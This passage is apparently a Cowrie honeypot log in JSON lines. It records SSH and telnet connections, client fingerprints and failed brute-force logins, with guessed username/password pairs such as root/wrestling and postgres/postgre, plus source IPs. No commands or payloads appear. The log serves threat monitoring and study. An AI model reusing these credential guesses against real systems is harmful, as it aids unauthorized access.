{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:51:e1:b0:86:dc:e6:49:99:18:59:0a:34:db:64:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnxtaz16lERA7t0KHX6MTA185SMrlKX3HdHlYCktFZOtIv8qEyvLiylRb05JBqDzdEiUayYQup0tUhFNiu6J8LyOm6VgoaLOLz6OGL5jxh5nig9CV5XtMrkUpkH/aF77RL+1ybjQ7/nfCvJFZrRgWT8tHOTalT06PKjIyJRUzW7QdWCjLRb3ex+FpHPT15MKUAPe9k/tNiCj2P2RoDBU/bTg21qxXHqVzWP3d1MX5qhQ2EgW/kzPMf+//AMS0HM/BDgZNvr0KFYYa28BAQtFdhSC+u2TqfP50fe25opxMLyNmUL2+6wiWhreiDOy8m6VtcmNlBB1rvZrh8hRbIwiuR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:51:e1:b0:86:dc:e6:49:99:18:59:0a:34:db:64:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.579080Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:51:e1:b0:86:dc:e6:49:99:18:59:0a:34:db:64:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnxtaz16lERA7t0KHX6MTA185SMrlKX3HdHlYCktFZOtIv8qEyvLiylRb05JBqDzdEiUayYQup0tUhFNiu6J8LyOm6VgoaLOLz6OGL5jxh5nig9CV5XtMrkUpkH/aF77RL+1ybjQ7/nfCvJFZrRgWT8tHOTalT06PKjIyJRUzW7QdWCjLRb3ex+FpHPT15MKUAPe9k/tNiCj2P2RoDBU/bTg21qxXHqVzWP3d1MX5qhQ2EgW/kzPMf+//AMS0HM/BDgZNvr0KFYYa28BAQtFdhSC+u2TqfP50fe25opxMLyNmUL2+6wiWhreiDOy8m6VtcmNlBB1rvZrh8hRbIwiuR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.583765Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:6e:46:e5:1b:cf:a6:c1:a9:53:be:91:77:95:d0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkQympO6cVhmbUgKW8vQOXWTSqkPHphfkQh/eigYa8jvKnKU5D/4Cxh28bCXSNiBJ5vFw8iek5qnfiGSBlYD072C8Y5pkt9QrcWM1VWrLNMMGY6soapqm9HngaEh/tvn7CSUWVJE4CLwG/De9zcVrrQ3tmZmU45ky9P5kMHvVRk76wXeqWd0FovGQG4amhHlowcUFLJey9T2kmutnwC+pYqQjTrVhmf7SuhyLVCeWbRCzytJakV2mzeONFhGQFjik3h8tju/oQ1X1GcfNQnjnMmVNypB2ayANcsNwoqnI8v7eXoe21cWeOiRwBp2ZSnFNyVkqzPSGxMR2vOhMqjZQv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:6e:46:e5:1b:cf:a6:c1:a9:53:be:91:77:95:d0:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.677549Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:6e:46:e5:1b:cf:a6:c1:a9:53:be:91:77:95:d0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkQympO6cVhmbUgKW8vQOXWTSqkPHphfkQh/eigYa8jvKnKU5D/4Cxh28bCXSNiBJ5vFw8iek5qnfiGSBlYD072C8Y5pkt9QrcWM1VWrLNMMGY6soapqm9HngaEh/tvn7CSUWVJE4CLwG/De9zcVrrQ3tmZmU45ky9P5kMHvVRk76wXeqWd0FovGQG4amhHlowcUFLJey9T2kmutnwC+pYqQjTrVhmf7SuhyLVCeWbRCzytJakV2mzeONFhGQFjik3h8tju/oQ1X1GcfNQnjnMmVNypB2ayANcsNwoqnI8v7eXoe21cWeOiRwBp2ZSnFNyVkqzPSGxMR2vOhMqjZQv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.681849Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.774927Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad","message":"login attempt [mamad/mamad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:18.023075Z","src_ip":"186.219.184.142","session":"be8973a6329a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:19.166666Z","src_ip":"186.219.184.142","session":"be8973a6329a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53682,"dst_ip":"10.17.0.5","dst_port":23,"session":"de88b54d9818","protocol":"telnet","message":"New connection: 192.119.13.58:53682 (10.17.0.5:23) [session: de88b54d9818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:19.962312Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f1e60180058","protocol":"ssh","message":"New connection: 91.4.14.170:60826 (10.17.0.5:22) [session: 5f1e60180058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:22.277028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:22.282743Z","src_ip":"91.4.14.170","session":"5f1e60180058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:22.380505Z","src_ip":"91.4.14.170","session":"5f1e60180058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgre","message":"login attempt [postgres/postgre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:22.817761Z","src_ip":"91.4.14.170","session":"5f1e60180058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:23.919979Z","src_ip":"91.4.14.170","session":"5f1e60180058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.78482246398926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:24.475463Z","src_ip":"192.119.13.58","session":"a974a236af40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.76340055465698,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:33.357125Z","src_ip":"192.119.13.58","session":"939b87289dbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56576,"dst_ip":"10.17.0.5","dst_port":22,"session":"286062d609c6","protocol":"ssh","message":"New connection: 103.15.222.183:56576 (10.17.0.5:22) [session: 286062d609c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:34.950161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:34.955895Z","src_ip":"103.15.222.183","session":"286062d609c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:35.208583Z","src_ip":"103.15.222.183","session":"286062d609c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:35.973097Z","src_ip":"103.15.222.183","session":"286062d609c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:37.230227Z","src_ip":"103.15.222.183","session":"286062d609c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55158,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e59d58c4b4","protocol":"telnet","message":"New connection: 192.119.13.58:55158 (10.17.0.5:23) [session: 39e59d58c4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:41.613771Z"}
{"eventid":"cowrie.session.closed","duration":39.47569727897644,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:45.448385Z","src_ip":"192.119.13.58","session":"05a9416c5a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40024,"dst_ip":"10.17.0.5","dst_port":23,"session":"531b4bd16aee","protocol":"telnet","message":"New connection: 192.119.13.58:40024 (10.17.0.5:23) [session: 531b4bd16aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:52.079000Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":44102,"dst_ip":"159.203.135.109","dst_port":22,"session":"2589f280950a","protocol":"ssh","message":"New connection: 89.108.118.91:44102 (159.203.135.109:22) [session: 2589f280950a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:57.792701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:57.805434Z","src_ip":"89.108.118.91","session":"2589f280950a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:57.952607Z","src_ip":"89.108.118.91","session":"2589f280950a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wrestling","message":"login attempt [root/wrestling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:58.403755Z","src_ip":"89.108.118.91","session":"2589f280950a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.007436275482178,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:59.086316Z","src_ip":"192.119.13.58","session":"531b4bd16aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.279834270477295,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:59.478443Z","src_ip":"192.119.13.58","session":"95d127f83ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:59.553111Z","src_ip":"89.108.118.91","session":"2589f280950a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.81686329841614,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:59.779032Z","src_ip":"192.119.13.58","session":"de88b54d9818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3667023241","protocol":"telnet","message":"New connection: 192.119.13.58:34708 (10.17.0.5:23) [session: 0e3667023241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:20.012126Z"}
{"eventid":"cowrie.session.closed","duration":0.011860847473144531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:20.023840Z","src_ip":"192.119.13.58","session":"0e3667023241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.094223976135254,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:24.707900Z","src_ip":"192.119.13.58","session":"39e59d58c4b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43210,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9fc4d0aebe","protocol":"telnet","message":"New connection: 192.119.13.58:43210 (10.17.0.5:23) [session: bb9fc4d0aebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:34.120947Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60932,"dst_ip":"159.203.135.109","dst_port":22,"session":"47fe28a5cd80","protocol":"ssh","message":"New connection: 37.233.85.71:60932 (159.203.135.109:22) [session: 47fe28a5cd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:38.727247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:38.733210Z","src_ip":"37.233.85.71","session":"47fe28a5cd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:38.842443Z","src_ip":"37.233.85.71","session":"47fe28a5cd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:39.168810Z","src_ip":"37.233.85.71","session":"47fe28a5cd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:40.281120Z","src_ip":"37.233.85.71","session":"47fe28a5cd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":59130,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e8d326f119f","protocol":"ssh","message":"New connection: 91.4.14.170:59130 (10.17.0.5:22) [session: 4e8d326f119f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:40.438087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:40.451245Z","src_ip":"91.4.14.170","session":"4e8d326f119f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:40.561354Z","src_ip":"91.4.14.170","session":"4e8d326f119f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cel","password":"1234","message":"login attempt [cel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:41.046727Z","src_ip":"91.4.14.170","session":"4e8d326f119f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:42.214346Z","src_ip":"91.4.14.170","session":"4e8d326f119f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":49984,"dst_ip":"10.17.0.5","dst_port":22,"session":"167f0544474d","protocol":"ssh","message":"New connection: 186.219.184.142:49984 (10.17.0.5:22) [session: 167f0544474d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:43.433447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:43.440614Z","src_ip":"186.219.184.142","session":"167f0544474d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","